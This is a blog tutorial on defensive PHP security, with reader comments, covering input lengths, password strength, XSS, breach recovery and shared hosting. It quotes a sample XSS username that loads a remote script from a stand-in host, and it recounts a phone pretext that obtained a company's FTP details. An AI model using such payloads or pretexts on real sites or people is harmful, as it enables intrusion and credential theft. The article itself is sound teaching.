In Writing Secure PHP and Writing Secure PHP, Part 2 I covered many of the basic mistakes PHP developers make, and how to avoid common security problems. It is time to get a little deeper into security though, and begin to tackle some more advanced issues.
[Writing Secure PHP is a series. Part 1, Part 2 and Part 4 are currently also available.]
Context
Before I start, it is worth mentioning at this point in this series that much of what is to come is highly dependant on context. If you are running a small personal site and are regularly backing it up, the chances are that there is no real benefit to you spending weeks on advanced security issues. If an attacker can gain nothing (and cause no harm) by compromising your site, and it would only take you ten minutes to restore it, should something go wrong, then it would be a waste to spend too long on security concerns. At the other end of the scale, if you are managing an ecommerce site that processes thousands of credit cards a day, then it is negligent not to spend a lot of time researching and improving your site's security.
Database Field Lengths
Database (we're going to talk about MySQL here, but this is applicable to any database) fields are always of a specific type, and every type has its limits. You can as well, in MySQL, limit field lengths further than they are already limited by their types.
However, to the inexperienced developer, this can present problems. If you are allowing users to post an article on your site, and adding that to a database field with type "blob", then the longest article you can store in the database is 65,535 characters. For most articles that will be fine, but what is going to happen when a user posts an article of 100,000 characters? At best, if you have set up your site so errors are not displayed, their article will simply vanish without being added to the site.
Remember that for an attacker to be able to compromise your system, they need information about it. They need to find weaknesses. Error messages are a very powerful part of that and if you are displaying errors, then an attacker can make use of this to find out information about your database.
To fix this, simply check the lengths of data input through forms and querystrings and ensure that before you launch a site you check forms will not cause errors to be displayed when too many characters are entered.
Weak Passwords
Dictionaries are a useful tool for an attacker. If you have a site with a login system and your database were compromised (and there is no harm in assuming that at some point it will be), an attacker can grab a list of hashed passwords. It is difficult (practically impossible) to directly translate a hash back into a password.
However, most attackers will have databases containing lists of words and their matching hashes in common formats (eg a database with all words in English and their MD5 hashes). It is fairly easy, should someone gain access to your database, for them to compare a hashed password to this list of pre-hashed passwords. If a match is found in the list, the attacker then knows what the un-hashed password is.
There are ways to avoid this problem, and the best of those is to ensure that only strong passwords are ever used. Some people find guaging the strength of passwords tricky, but the general rule of thumb is: a password like "password", "admin", "god", "sex", "qwerty", "123456" or similar (i.e. easily guessable) is extremely weak; a password made up only of a word in the dictionary is weak; a password made of letters, numbers and making use of upper and lower case is strong (there is a strong usability case to be made for not using case-sensitive passwords - if you wish to use case-insensitve ones, simply perform checks to ensure people do not pick passwords like "password12345").
Clients
Clients are a huge security risk, believe it or not. Some will hire a cheaper developer to make small changes six months after you're finished. Some will give out FTP details to anyone who phones and asks for them. [Out of curiosity, I decided to see how easy it is to get FTP details over the phone. I visited the site of a local company (who shall remain nameless) and found the name of their design company (who shall also remain nameless). I then phoned the local company and told them I was with the design company and needed them to send me the site's FTP details. They agreed without question or hesitation. Scary. (I told them what I was doing before they sent any sensitive data to me and they are now better educated and suitably paranoid about people asking for details over the phone).]
Some will ignore emails from people pointing out security problems (in the process of writing the previous article in this series, I found a large selection of sites with publically available database connection scripts. I emailed the owners explaining why they are at risk, and only one has replied and had the problem fixed at the time of writing). Admitedly, many of the emails and calls they receive will be misinformation or sales pitches, but it is still worth them having someone check this out - they do not know enough to distinguish a genuine problem from the rest.
Unfortunately, this is one security problem that cannot be solved with code. This one requires education. For this reason, I have created an unbranded copy of the sheet I give to my clients, with a selection of security tips on. When we launch the site, I sit down with them and tell them how they need to treat their site, and what to consider when making decisions regarding it.
Client Security Handout (PNG, 74KB)
Code Injection (a.k.a. "Cross-Site Scripting")
Unlike SQL Injection, which relies on the use of delimiters in user-input text to take control of database queries, code injection relies on mistakes in the treatment of text before it is output. Or, to put it in simpler terms, code injection is where a malicious user uses a text box to add HTML that they've written to your webpage.
Let's say you have a system that allows users to register as members to your site and that they are allowed to create their own username. They fill out a form, and you insert the data they enter, once you've made it safe to use in a SQL query, into a database. Your members listing page fetches all the usernames from the database and lists them, outputting exactly what is in the database to anyone that views that page.
Now, let's say you've not added a limit to username lengths. Someone could, if they wanted, create a user with the following username:
Username<script type="text/javascript" src="http://www.website.com/malicious.js"></script>
Anyone that then views a page with that username on it will see a normal username, but a JavaScript has been loaded from another site invisibly to the user.
There are plenty of uses for this. First and foremost, it allows attackers to add keyloggers, tracking scripts or porn banners on your site, or just stop your site working altogether. There are several ways to ensure this doesn't happen. First, you could encode HTML in usernames. If you wanted to allow people to use greater-then and less-than signs in their usernames, that is. If not, you can strip these characters out, or strip out HTML tags altogether.
Another, better way to approach this is to limit the character set that can be used in usernames. If you only allow letters and numbers, for example, you could simply use a regular expression in the signup process to validate the username and force the user to pick another if they have disallowed characters in their username. Obviously the problem is not just applicable to usernames - however, as with most other security concerns, being quite paranoid will ensure that you always check data coming from a user before outputting it, and sanitising it in an appropriate way.
Aftermath
Part of a good security strategy is the assumption that at some point everything (and I mean everything) will be deleted or destroyed. It is wise to assume that at some point any security measure you have in place will be compromised. All data may be taken (which is one reason why it is important to encrypt things like passwords and credit card numbers in databases), all files deleted and so on.
One part of PHP development, though perhaps not directly about PHP security, is ensuring that after a catastrophic failure a site can be brought back online quickly. While downtime of four hours maybe acceptable with a low-traffic point-of-presence site, any ecommerce retailer is going to erupt with fury at the thought of that much lost revenue.
Dealing with the client under these circumstances is the first step. Often, your first inkling of a problem with a site may actually come from the client. They may have phoned you and could be angry, worried, or a myriad of other emotions. At moments like this, you would be very glad to have a clear contigency plan in place. Many developers panic when the client phones saying their front page has been defaced. Stick to your action plan and to your client you will seem confident and unphased. That will relax them. The plan will also allow you to resolve the problem far faster.
First, find out what happened. Are you dealing with a security breach or has someone at the host company tripped over a power lead? Was the database compromised, or deleted, as a result of an attack or was your server simply unable to cope with too much traffic? You need to know what has happened in order to deal with it - a site going offline could be down to too many factors to just assume it is a security problem.
Assuming this is a security problem, the next step is to reassure the client. Let them know what has happened. If someone got into the database, no problem - all sensitive data is encrypted. If they've uploaded files to your server (quite possible), you'll have to delete all files and restore from a backup.
You've got to find out how the attacker broke into your system. Check log files, if you have access to them. Also, have a look at hacker and cracker web sites - many of them will list successful attacks against servers by various groups (these are often what are sometimes known as "script kiddies" - not hackers as such, but usually exploiting vulnerabilities found by others). You may well find your site listed and that listing will give you invaluable information. Look at other sites brought down by the same group at around the same time - you will often spot a theme (e.g. all sites that have been attacked were running the same version of IIS or Apache, were all running phpBB, or all are file repositories running on CFML).
If you are running any third party software on the site, check the distribution site and if necessary get in touch with them, especially if other sites running the same software appear to have been compromised.
It is very important that you fix any hole there may be before you restore the site. It would be wise to add a "We are currently undergoing essential maintenance" page, but do not fully restore the site before you have found out and fixed whatever the problem was - you'll be wasting your time.
Shared Hosting
Shared hosting is much cheaper than dedicated hosting, and is where several sites are all hosted on the same server. Most sites are hosted this way, and this brings with it its own set of security issues.
First and foremost, the security of your site is, in these circumstances, almost entirely out of your hands. It is dependant on the hosting company you are with. They may be excellent, or they may be crooks. Check reviews of a company before you select them, as they will have access to all the data you store with them. There is no harm in being automatically suspicious of your hosting company.
If they are completely above board (and most are), you are still not necessarily secure with shared hosting. The security measures they put in place are generally pretty simple. Shared hosting servers should always use PHP's safe mode (which disables many of the more advanced and dangerous features of PHP). That is what it is there for. However, many don't.
Vulnerabilities associated with shared hosting are, for the most part, out of your hands. A badly set up server will allow any site on that server to access files like /etc/passwd and httpd.conf, often giving them access to all other sites on the same server. It is possible to secure yourself to some degree against the effects of this vulnerability. Storing information in a database is recommended. Of course, if you then store your database login in a file, an attacked could access this information. In order to make this inaccessible to others on the same server, you could set database login information within the httpd.conf file, using environmental variables (you will need to ask your host company to add the lines to the httpd.conf file).
Better yet is to ensure that your host, if shared, uses safe mode. While this is still not 100% secure (nothing is), it does help make these attacks more difficult. A dedicated server is another, far better, option, but the expense may be prohibitive.
Ready for more? Try Writing Secure PHP, Part 4.

52 Comments
Thanks for the many good points throughout this series. Your comments regarding password strength reminded me that a few days ago I can across the <a href='http://www.securitystats.com/tools/password.php'>Password Strength Meter</a>. Playing around with it gives one a better idea of what is better in a password.
#1, Waylan, United States, 27 July 2005. Reply to this.
nice set of articles, Dave. Glad to say my paranoid nature led me to find all the same things you explain, but reading this a few years ago would have saved me a lot of re-writing!
#2, Paulg, France, 27 July 2005. Reply to this.
Another great article which covers most security concerns. This should be required reading for any web developer. Do you have any more articles planned?
On a minor note: I spotted a typo in your client_security PDF. 2nd line, 2nd column 'build' should be 'built'.
#3, Richard@Home, United Kingdom, 28 July 2005. Reply to this.
Thanks all :)
Richard: Yes, there are more planned. At this point I am not entirely sure how many though!
Thankyou for pointing out the typo - that is now fixed.
#4, Dave Child, United Kingdom, 28 July 2005. Reply to this.
You might want to rename the "Code Injection" section to "Cross-Site Scripting," since that's what you describe. :-)
#5, Chris, United States, 28 July 2005. Reply to this.
You're right, Chris. I've added "Cross-Site Scripting" in as an aka. I wanted to cover more than just the cross-site stuff - e.g. people adding code to mess up the way a page looks. But I should have added in the "Cross-site scripting" from the outset.
#6, Dave Child, United Kingdom, 28 July 2005. Reply to this.
Good article - but it might be worth mentioning salts in hashing passwords, and personally, I'm a fan of passphrases more than passwords.
I've written about these things here...
http://www.neodynium.com/display.php?id=153
#7, Andy, United Kingdom, 29 July 2005. Reply to this.
The only way to have a fully secure password is to make your own hash system. Then change it for every site you make for someone. This will make it next to imposible to work out, and if it fails, so what they have to do it for each site you have made for a client.
#8, Matt, United Kingdom, 6 August 2005. Reply to this.
I also think that people sould totally ignore what you placed under the header "Context" you should always right your code as secure as posible so when you do come to right the big one where you need it to be secure you know what to do. It will also stop the inconvience of having to sort out your site after it has been hacked
#9, Matt, United Kingdom, 12 August 2005. Reply to this.
Nice tutorial(s), maybe I have another tip on logon systems: use a challenge code, on login page request give send a code (as cookie or form-element) which contains an secret code, store this code elsewhere (database, file) and store ip and stuff with it. This key should be used when submitting the form thus verifying it is still the same user. In case the key is invalid: Do not even show if the login was correct or not, this way you can control who gets a key, if more than x keys are requested within 5 minutes by the same IP, do not give more keys to this user. The bruteforcer can send logins like no tommorow with no change they ever get checked.
#10, Marcel, Netherlands, 17 August 2005. Reply to this.
Thanx for the valualble info. I was wondering if you can shed some light on uploading files to the server using PHP. My concern is with directory permissions and exposing the server. Thanx again.
#11, Maziz, Canada, 26 August 2005. Reply to this.
Very Informative.
I think you left out a threat - phpInfo(). Many people create a page with this function in it and forget to delete it when the need is over. A simple google search will show many of these. I don't have to say what a hacker can do with this information.
#12, Binny V A, India, 4 October 2005. Reply to this.
Hi Binny. You're right, that has not appeared yet in the series. I have to leave something for part 4 though!
#13, Dave Child, United Kingdom, 4 October 2005. Reply to this.
Great article. All of the articles from the Writing Secure PHP series have really made me notice what I'm doing, and that I've been leaving myself entirely vulnerable previously.
#14, Vexeffexx, Canada, 8 October 2005. Reply to this.
I know how you feel Vex, I thought my code was good, it wasn't till I read the first one that I released how bad I was. Thankfully I have never had any serious problems
#15, Matt, United Kingdom, 10 October 2005. Reply to this.
great articles and tips, waiting for part 4. keep it up this way!
#16, vinings, Latvia, 11 December 2005. Reply to this.
Yep. Very good content here. Thanks for taking the time to write it for us.
#17, btrgonethanjail, United States, 17 December 2005. Reply to this.
You wrote:
"Also, have a look at hacker and cracker web sites - many of them will list successful attacks against servers by various groups"
It would be useful if you were to give us some links. I'm not even sure of what to search for in Google to find them.
And I like the, for lack of a better word, degrading of the script-kiddies.
Otherwise a very nive series of articles on security. I've known most of the issues, but some of them were somewhat new to me.
Thank you.
#18, Jesus Hates You, Germany, 4 January 2006. Reply to this.
In regards to the "Code Injection"/"Cross-Site Scripting," - you discuss perhaps stripping out HTML tags to prevent malicious scripting languages running riot... I was wondering, couldn't the same thing be done using PHP code? And if so, shouldn't this also be checked for?
#19, Sinbad, United Kingdom, 7 January 2006. Reply to this.
This is an example of how to write a lot about security without actually imparting any useful information. IF you know about the vulnerabilities, and come seeking solutions, this is not the site for you.
#20, Minerval, United Kingdom, 11 March 2006. Reply to this.
Wake up on the wrong side of bed today, Minerval? Perhaps you should re-read the articles, and try to approach them as a guide to security rather than list of cures to specific bugs and vulnerabilities.
#21, Dave Child, United Kingdom, 11 March 2006. Reply to this.
Sinbad: It can be done but only if you are actually executing user input. If you are simply displaying what the user had entered, any PHP they enter would be displayed as well, not executed.
#22, Dave Child, United Kingdom, 11 March 2006. Reply to this.
Forget my former comment for part2 most of the issues are being adressed here.
But i would still like part 4 "the best way to do it"
Just to get rid of all the different methods being used for handling user/form input.
This would also be of very good use for any other newbie, searching the net for answers to this question and being confused by different methods and options.
But nevertheless a great tutorial and very clear and easy to understand! Thanks!
#23, shopje, Netherlands, 20 March 2006. Reply to this.
Oh i muist not forget the print icon!!
It's really a hassle to copy and paste everything in word to print it out nicely.
Thanks again!
Cheers
#24, shopje, Netherlands, 20 March 2006. Reply to this.
What a great article for beginners and professionals alike. I have seen too many cases of XSS attacks and data being compromised in production systems all too often. I have even had the joy of fixing these said systems. I will be referring others to this series without a doubt. Looking forward to part 4.
Matt
#25, Matthew Keefe, United States, 20 March 2006. Reply to this.
Great articles. It's sites like yours that help beginners like me who have no programming experience feel much more comfortable about approaching PHP. Thank you for sharing your knowledge and please continue do so!
#26, Hal, United States, 21 June 2006. Reply to this.
OH MY GOSH! Thanks for the tips and suggestions. I'm now a more secure person when I'm programming. Secure psychologically. I can sleep better at night. And my site is more secure too. Yay!
#27, Matt M, United States, 22 June 2006. Reply to this.
Fantastic set of articles. A lot of points there to keep in mind. Cheers.
#28, Nick M, Australia, 9 August 2006. Reply to this.
Wow, nice article! I learned a lot. I have been planing many different web forms for my site so this is useful to me.
#29, Jonah Turnquist, United States, 22 September 2006. Reply to this.
Woah... I didn't know the SQL injection in the 1st article. Very nice set man, Congratulations!
#30, spdaniel91, Argentina, 26 November 2006. Reply to this.
Nice article, thanks for some easy tips! I'll point some other webdevelopers to it..
#31, Kolky, Netherlands, 28 December 2006. Reply to this.
Nice set of articles. But regarding SQL injection I have to say, that I'm not absolutely happy with your explanations. Sure addslashes is a possible way to go, but in some instances it has the problem that at last there are some slashes to many in your resulting statement. Further have most databases different sets of escape characters, althoug addslashes() handles the common cases. As a previous poster suggested, coercing the input to the actual type is a safe solution for numeric fields. But if possible, one should ALWAYS use prepared statements. It is faster, and it is more secure. I know that mysql provided no prepared statements until recently, but at least anybody with a real database should be aware about this possibility.
#32, Mauli, Germany, 24 January 2007. Reply to this.
Hi Mauli,
I agree - addslashes is not necessarily the best way to go. With MySQL, mysql_real_escape_string (if prepared statements are unavailable) is far better.
Prepared statements, stored procedures - whatever the database itself calls them - are always far more secure. Time, perhaps, I added a 4th article to this series with some more advanced topics and techniques.
#33, Dave Child, United Kingdom, 24 January 2007. Reply to this.
Add on's:
Use required_once to include your database connection file.
When encountering an error the script stops.
Make sure your mysql only runs under localhost.
Make sure your SQL and scripts (with variables and arrays) are inside functions or even better inside classes.
Match the user input with the field lenght in MySQL with help of substr, limit user input lenght anyway both client and server side.
Special attention for the fourth parameter of the mail function.
Use a static email address (yourself) or filter the given one with trim to prevent spammers from abusing your server.
Actually the RFC needs Line Feed and Carriage Return characters as a delimiter between the email addresses.
Also be aware that all headers can be overwritten in this fourth parameter.
Use error_reporting while developing but comment before publishing.
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = On
; Magic quotes for runtime-generated data, e.g. data from SQL, from exec(), etc.
magic_quotes_runtime = Off
; Use Sybase-style magic quotes (escape ' with '' instead of \').
magic_quotes_sybase = off
#34, HAAN.net e-Business and Multimedia, Netherlands, 24 January 2007. Reply to this.
Thank-you! Its definatley NOT a how to do article but for beginners like me it is definatley things to be aware of. Cheers
#35, Strongy, United Kingdom, 19 September 2007. Reply to this.
excellent material friend. It will be such a nice material to suggest to my juniors who r not much exposed to the real web development. It covers much of the basic security issues i believe.Lookign forward for the part 4 in ur series.
I think u shd discuss more towards the advanced security bugs in the next part.
#36, wind chimes, India, 25 September 2007. Reply to this.
Nice articles. Security is very important, but the biggest problem in development is a code writing style. A lot of developers write ugly code, which is very hard to read and to fix. Because of it, any implemented change requests by other developers can open security holes.
#37, Master Employment, United Kingdom, 2 October 2007. Reply to this.
Great articles! i really learn a lot...
#38, anton ashardi, Indonesia, 8 January 2008. Reply to this.
There are some great articles on this site, Dave. When it comes to secure passwords, one method to use could be salting the password -- creating a random string, storing it in the row associated with the new user, and appending it to the user-entered password before hashing it.
#39, IIMarckus, Unknown, 10 February 2008. Reply to this.
Great articles! Not only did they point out some things that I could have easily fixed had I known about them, but it was an enjoyable read(I didn't start to dose off like on previous pages in my searches on good PHP security practices.) The problem with many articles of this nature is that they are too watered down, or they explain purely by code example and give an answer excluding even a basic why. These are well balanced, and I look forward to your next one. I would love to see the next article as maybe simple techniques that can almost always be used without problems that will make the code "naturally" more secure as a whole. That info is always hard to find in one place. Also an elegant input validation class or somesuch that's already laid out to be expanded upon would be bloody awsome. Thanks again.
#40, Ergose, United States, 8 March 2008. Reply to this.
The nice thing about code injection and sql injection and all the cross site scripting methods is that it is endless. there is always room for more and there is always a new patch you install on your system that ruins your security and opens a new hole in the system. if you run a commercial site and need to know that your system is secured, I would go to the professional solution rather then running after patches.
#41, vulnerability scanner, Unknown, 11 March 2008. Reply to this.
geat article, helpful
#42, adrian Albu, Netherlands, 1 April 2008. Reply to this.
Great articles, especially for a beginner like me. Thanks.
#43, Maria, Norway, 16 April 2008. Reply to this.
Thank you, this is very helpful in my web design. Great tips, and I learned some good things. Keep it up! Hoping for part 4, will it be coming?
#44, Ryan, United States, 7 May 2008. Reply to this.
Very good article. This is for good programmers who just needed to know problems associated with security on the web. You can figure out implementation, or find it somewhere else.
#45, Michael N, United States, 23 July 2008. Reply to this.
Whilst I agree that your response to security has to be in keeping with the size and use of your site I think it is important to remember that security is not just about the integrity of your data or the speed at which you can replace it. A compromised site can be used for many purposes by a hacker: denial of service on other sites or resources, for serving malicious code for other cross site scripting attacks, for serving up infected files to users, as an only repository of illegal content and I'm sure there are many more that I haven't thought of.
With this in mind there needs to be a minimum level of security that we all attain to ensure that, at least, we are being socially responsible and, furthermore, we are protecting ourselves from potential legal action or prosecution in the future.
#46, mjcpk, United Kingdom, 14 September 2008. Reply to this.
A good validation library that performs server side validation and also integrates with dojo to user client side validation can be found at http://code.google.com/p/ezeval/
#47, bkdm, United States, 29 October 2008. Reply to this.
I love this article. No to much information and no little information. Everything is clear and awesome. I have all the steps on one of my papers now when I'm designing. Thanks.
#48, Ayo, United States, 9 January 2009. Reply to this.
I am a new affiliate/internet entrepeneur. I recently found out that the host that i prepaid a year for, won't refund and is overrun with hackers, exploits, injections, worms, malware, etc !!!! they must be the hackers because they lie and obfuscate and they refuse to do anything to fix the problems. Do a search and you will see tons of complaints about servage.net, like the url I listed because they are SO horrible, incompetent, lying cheating scumbags! I want to make sure no one else gets cheated as I did because as a new novice to web hosting i of course wanted a good deal and bargain. boy did I get ripped off and now i have to find something else but because i prepaid a full year....it's a big mess. AVOID servage.net!!!
and I was hoping to find some way to plug the iframe injections that somehow someone keeps placing into my index pages -- like every other day.
those people are the scourge of the internet. I wish I knew how to prevent what they are doing and I am so steamed I have dreams of wishing I knew how to plant a trojan that would completely wipe out their computer to stop them.
anyway you have some very good advice about researching very carefully about webhosting. servage is the worst ever -- please avoid and take this as a serious warning. it's not worth it and they blame the customer for their incompetencies.
thanks for letting me rant and rave.
#49, affnewbie, United States, 23 January 2009. Reply to this.
I've been working with PHP for years now but I still found your bit about shared hosting quite interesting. It's something you don't typically think about -- your entire application could be totally secure but you still may be at the mercy of your host or other developers on the same server.
Nicely done.
#50, Paul, United States, 4 February 2009. Reply to this.
Hello,
With regards to safe mode, what are the alternatives to fopen(), readfile(), and file() functions?
I override the PHP configuration of my hosting (php.ini) by having a copy of it to every folders in my web root, is that a good alternative to set PHP configuration settings rather than using ini_set() function?
Thank you
#51, Mark, Philippines, 16 February 2009. Reply to this.
nice series.
@haan.net's comments were great too.
I often find myself writing a quick piece of code and forgetting something... are there some kind of online auditing tools which do a test hack from client side or source side to expose vulnerabilities?
#52, murray, south africa, 1 September 2009. Reply to this.